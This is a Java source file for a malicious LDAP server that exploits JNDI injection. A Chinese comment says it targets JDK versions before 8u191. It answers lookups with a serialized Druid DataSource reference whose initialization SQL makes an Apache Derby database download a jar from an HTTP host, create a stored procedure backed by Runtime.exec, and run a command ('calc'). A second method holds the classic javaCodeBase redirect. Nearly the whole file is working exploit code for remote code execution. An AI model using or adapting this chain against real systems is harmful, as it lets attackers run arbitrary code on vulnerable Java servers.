content: package com.example.server;
  
  import com.example.solution.Tools17;
  import com.unboundid.ldap.listener.InMemoryDirectoryServer;
  import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
  import com.unboundid.ldap.listener.InMemoryListenerConfig;
  import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
  import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
  import com.unboundid.ldap.sdk.Entry;
  import com.unboundid.ldap.sdk.LDAPException;
  import com.unboundid.ldap.sdk.LDAPResult;
  import com.unboundid.ldap.sdk.ResultCode;
  
  import javax.naming.Reference;
  import javax.naming.StringRefAddr;
  import javax.net.ServerSocketFactory;
  import javax.net.SocketFactory;
  import javax.net.ssl.SSLSocketFactory;
  import java.net.InetAddress;
  import java.net.MalformedURLException;
  import java.net.URL;
  import java.util.ArrayList;
  import java.util.List;
  
  
  // jndi 绕过 jdk8u191 之前的攻击
  public class JNDILdapServer {
      private static final String LDAP_BASE = "dc=example,dc=com";
      public static void main (String[] args) {
          String url = "http://127.0.0.1:8088/poc.sql";
          int port = 1388;
          try {
              InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
              config.setListenerConfigs(new InMemoryListenerConfig(
                      "listen",
                      InetAddress.getByName("0.0.0.0"),
                      port,
                      ServerSocketFactory.getDefault(),
                      SocketFactory.getDefault(),
                      (SSLSocketFactory) SSLSocketFactory.getDefault()));
  
              config.addInMemoryOperationInterceptor(new OperationInterceptor());
              InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
              System.out.println("Listening on 0.0.0.0:" + port);
              ds.startListening();
          }
          catch ( Exception e ) {
              e.printStackTrace();
          }
      }
      private static class OperationInterceptor extends InMemoryOperationInterceptor {
          private URL codebase;
          /**
           *
           */
          public OperationInterceptor ( ) {
  //            this.codebase = cb;
          }
          /**
           * {@inheritDoc}
           *
           * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
           */
          @Override
          public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
              String base = result.getRequest().getBaseDN();
              Entry e = new Entry(base);
  
              e.addAttribute("javaClassName", "foo");
              try {
                  List<String> list = new ArrayList<>();
                  list.add("CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/Runtime.jar', 'APP.Runtime', 0)");
                  list.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Runtime')");
  
                  //  list.add("CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'com.example.Runtime.exec'");
  //                list.add("CALL SALES.TOTAL_REVENUES()");
  
                  list.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'com.example.Runtime.exec'");
                  list.add("CALL cmd('calc')");
  
                  Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
                  ref.add(new StringRefAddr("url", "jdbc:derby:mydb;create=true"));
                  ref.add(new StringRefAddr("init", "true"));
                  ref.add(new StringRefAddr("initialSize", "1"));
                  ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list)));
  
                  e.addAttribute("javaSerializedData", Tools17.ser(ref));
  
                  result.sendSearchEntry(e);
                  result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
              } catch (Exception exception) {
                  exception.printStackTrace();
              }
          }
          protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
              URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
              System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
              e.addAttribute("javaClassName", "Exploit");
              String cbstring = this.codebase.toString();
              int refPos = cbstring.indexOf('#');
              if ( refPos > 0 ) {
                  cbstring = cbstring.substring(0, refPos);
              }
              e.addAttribute("javaCodeBase", cbstring);
              e.addAttribute("objectClass", "javaNamingReference");
              e.addAttribute("javaFactory", this.codebase.getRef());
              result.sendSearchEntry(e);
              result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
          }
  
      }
  }